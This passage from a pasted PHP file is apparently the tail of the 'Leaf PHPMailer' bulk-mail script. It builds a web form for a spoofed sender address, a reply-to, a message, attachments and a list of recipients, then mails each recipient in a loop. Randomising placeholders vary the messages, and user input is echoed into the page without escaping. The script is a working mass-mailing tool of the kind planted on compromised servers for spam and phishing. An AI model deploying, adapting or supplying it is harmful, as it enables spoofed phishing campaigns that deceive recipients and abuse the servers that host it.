  3358. * Prettify error message output
  3359. * @return string
  3360. */
  3361. public function errorMessage() {
  3362. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
  3363. ";
  3364. return $errorMsg;
  3365. }
  3366. }
  3367. print '
  3368. <head>
  3369. <title>Leaf PHPMailer</title>
  3370. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3371. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3372. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3373. </head>';
  3374. print '<body>';
  3375. print '<div class="container col-lg-6">
  3376. <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>' . $leaf['version'] . '</small></h3>
  3377. <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
  3378. <div class="row">
  3379. <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control input-sm " id="senderEmail" name="senderEmail" value="' . $senderEmail . '"></div>
  3380. <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control input-sm " id="senderName" name="senderName" value="' . $senderName . '"></div>
  3381. </div>
  3382. <div class="row">
  3383. <span class="form-group col-lg-6 "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
  3384. <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control input-sm " id="replyTo" name="replyTo" value="' . $replyTo . '" /></div>
  3385. </div>
  3386. <div class="row">
  3387. <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control input-sm " id="subject" name="subject" value="' . $subject . '" /></div>
  3388. </div>
  3389. <div class="row">
  3390. <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">' . $messageLetter . '</textarea></div>
  3391. <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">' . $emailList . '</textarea></div>
  3392. </div>
  3393. <div class="row">
  3394. <div class="form-group col-lg-6 ">
  3395. <label for="messageType">Message Type</label>
  3396. HTML <input type="radio" name="messageType" id="messageType" value="1" ' . $html . '>
  3397. Plain<input type="radio" name="messageType" id="messageType" value="2" ' . $plain . '>
  3398. </div>
  3399. <div class="form-group col-lg-3 ">
  3400. <label for="encode">Encode Type</label>
  3401. <select class="form-control input-sm" id="encode" name="encode">
  3402. <option value="UTF-8" selected>UTF-8 Encode</option>
  3403. <option value="UTF-8">ISO Encode</option>
  3404. </select>
  3405. </div>
  3406. </div>
  3407. <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
  3408. </form>
  3409. </div>
  3410. <div class="col-lg-6"><br>
  3411. <label for="well">Instruction</label>
  3412. <div id="well" class="well well">
  3413. <h4>Server Information</h4>
  3414. <ul>
  3415. <li>ServerIP : <b>' . $_SERVER['SERVER_ADDR'] . '</b></li>
  3416. </ul>
  3417. <h4>HELP</h4>
  3418. <ul>
  3419. <li>[-email-] : <b>Reciver Email</b></li>
  3420. <li>[-time-] : <b>Date and Time</b> (' . date("m/d/Y h:i:s a", time()) . ')</li>
  3421. <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
  3422. <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
  3423. <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
  3424. <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
  3425. <li>[-randommd5-] : <b>Random MD5 </b></li>
  3426. </ul>
  3427. <h4>example</h4>
  3428. Reciver Email = <b>user@domain.com</b><br>
  3429. <ul>
  3430. <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
  3431. <li>your code is <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
  3432. </ul>
  3433. <h6>by <b><a href="http://' . $leaf['web'] . '">' . $leaf['web'] . '</a></b></h6>
  3434. </div>
  3435. </div>';
  3436. if ($_POST['action'] == "send") {
  3437. print '<div class="col-lg-12">';
  3438. $maillist = explode("\n", $emailList);
  3439. $x = 1;EMAIL_VALIDATE();
  3440. foreach ($maillist as $email) {
  3441. print '<div class="col-lg-1">[' . $x . '/' . $n . ']</div><div class="col-lg-5">' . $email . '</div>';
  3442. if(empty($email)){
  3443. print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
  3444. print "<br>\r\n";
  3445. break;
  3446. }
  3447. $mail = new PHPMailer;
  3448. $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email));
  3449. $mail->addReplyTo(leafClear($replyTo, $email));
  3450. $mail->addAddress($email);
  3451. $mail->Subject = leafClear($subject, $email);
  3452. $mail->Body = leafClear($messageLetter, $email);
  3453. $mail->CharSet = $encode;
  3454. for ($i = 0;$i < count($_FILES['attachment']['name']);$i++) {
  3455. if ($_FILES['attachment']['tmp_name'][$i] != "") {
  3456. $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i], $_FILES['attachment']['name'][$i]);
  3457. }
  3458. }
  3459. if ($messageType == 1) {
  3460. $mail->IsHTML(true);
  3461. } else {
  3462. $mail->IsHTML(false);
  3463. }
  3464. if (!$mail->send()) {
  3465. echo '<div class="col-lg-6"><span class="label label-default">' . $mail->ErrorInfo . '</span></div>';
  3466. } else {
  3467. echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
  3468. }
  3469. print "<br>
  3470. ";
  3471. $x++;
  3472. for ($k = 0;$k < 40000;$k++) {
  3473. echo ' ';
  3474. }
  3475. }
  3476. }
  3477. print '</body>';
Add Comment
Please, Sign In to add comment